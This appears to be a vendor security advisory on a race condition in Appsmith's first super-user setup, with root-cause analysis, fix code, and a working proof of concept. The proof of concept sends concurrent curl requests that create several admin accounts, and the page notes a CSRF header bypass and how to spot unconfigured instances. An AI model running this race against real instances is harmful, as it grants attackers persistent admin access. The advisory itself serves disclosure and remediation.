Miggo at BlackHat 2026!
Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| com.appsmith:server | maven | < 1.99.0 | 1.99 |
Miggo AIRoot Cause AnalysisThe vulnerability is a classic Time-of-Check-Time-of-Use (TOCTOU) race condition in the initial administrator setup process. The root cause lies in the com.appsmith.server.solutions.ce.UserSignupCEImpl.signupAndLoginSuper method, which was responsible for creating the first super user.
The vulnerable logic followed a non-atomic, two-step process:
userService.isUsersEmpty() (which in turn calls CustomUserRepositoryCEImpl.isUsersEmpty) to check if any users existed in the database.true (no users found), it proceeded to create a new user and grant them administrator privileges.Because there was no lock or transaction between the 'check' and the 'act', multiple concurrent API requests to the /api/v1/users/super endpoint could all execute the check and find the database empty. All requests would then proceed to the 'act' phase, resulting in the creation of multiple unauthorized administrator accounts.
The patch resolves this by introducing an atomic locking mechanism before the check. It uses MongoDB's atomic findAndModify operation with upsert=true on a dedicated lock collection (superUserSetupLock). This creates a sentinel document, and only the first request to do so wins the 'claim'. All subsequent requests are rejected because the sentinel document already exists. This effectively serializes the super user creation process and closes the race window.
com.appsmith.server.solutions.ce.UserSignupCEImpl.signupAndLoginSuperapp/server/appsmith-server/src/main/java/com/appsmith/server/solutions/ce/UserSignupCEImpl.java
@Transactional# Start a fresh Appsmith instance
docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release
# Wait ~90 seconds for all services to initialize
curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool
# Expected: {"data": {"email": "anonymousUser", ...}}
for i in $(seq 1 10); do
curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \
-X POST http://localhost:9090/api/v1/users/super \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-By: Appsmith" \
-d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" &
done
wait
# Check results
for i in $(seq 1 10); do
echo "racer${i}: $(cat /tmp/race_result_${i}.txt)"
done
// Connect to MongoDB inside the container
// docker exec -it appsmith-test mongosh <connection_string>
// Count non-system users (expected: 1, actual: 10)
db.user.countDocuments({ isSystemGenerated: { $ne: true } })
// Check who has manage:users permission
db.user.find(
{ isSystemGenerated: { $ne: true } },
{ email: 1, "policies.permission": 1 }
).forEach(u => {
const hasManage = u.policies?.some(p => p.permission === "manage:users");
printjson({ email: u.email, manage_users: hasManage });
});
// Check Instance Administrator Role assignments
db.permissionGroup.findOne(
{ name: "Instance Administrator Role" },
{ assignedToUserIds: 1 }
);
| Metric | Expected | Actual |
|--------|----------|--------|
| Users created | 1 | 10 |
| Users with manage:users policy | 1 | 10 |
| Users in Instance Administrator Role | 1 | 2 |
All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.
Authorization Bypass: The one-admin-only restriction is completely defeated by concurrent requests.
Persistent Backdoor: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.
Full Instance Compromise: Instance Administrator privileges grant:
GET /api/v1/users/me — if the response contains "email": "anonymousUser", the instance has not been set up yet.POST /api/v1/users/super requests.Wrap the check-and-create in a MongoDB transaction to ensure atomicity:
public Mono<User> signupAndLoginSuper(...) {
return reactiveMongoTemplate.inTransaction().execute(session -> {
return userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(
AppsmithError.UNAUTHORIZED_ACCESS));
}
return signupAndLogin(user, exchange);
});
}).single()
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
}
Use Redis (already available in Appsmith's stack) to acquire an exclusive lock:
public Mono<User> signupAndLoginSuper(...) {
return redisLockService.acquireLock("super-user-setup", Duration.ofSeconds(10))
.flatMap(lock -> userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(...);
}
return signupAndLogin(user, exchange);
})
.doFinally(signal -> lock.release()));
}
Add a MongoDB unique partial index that prevents more than one super admin:
db.user.createIndex(
{ "isSuperAdmin": 1 },
{ unique: true, partialFilterExpression: { "isSuperAdmin": true } }
);
The POST /api/v1/users/super endpoint accepts application/x-www-form-urlencoded content type. CSRF protection can be bypassed by including the X-Requested-By: Appsmith header (CsrfConfigCE.java, lines 99–102), which is a static, publicly known value.
com.appsmith.server.repositories.ce.CustomUserRepositoryCEImpl.isUsersEmptyapp/server/appsmith-server/src/main/java/com/appsmith/server/repositories/ce/CustomUserRepositoryCEImpl.java
com.appsmith.server.services.ce.UserServiceCEImpl.isUsersEmptyapp/server/appsmith-server/src/main/java/com/appsmith/server/services/ce/UserServiceCEImpl.java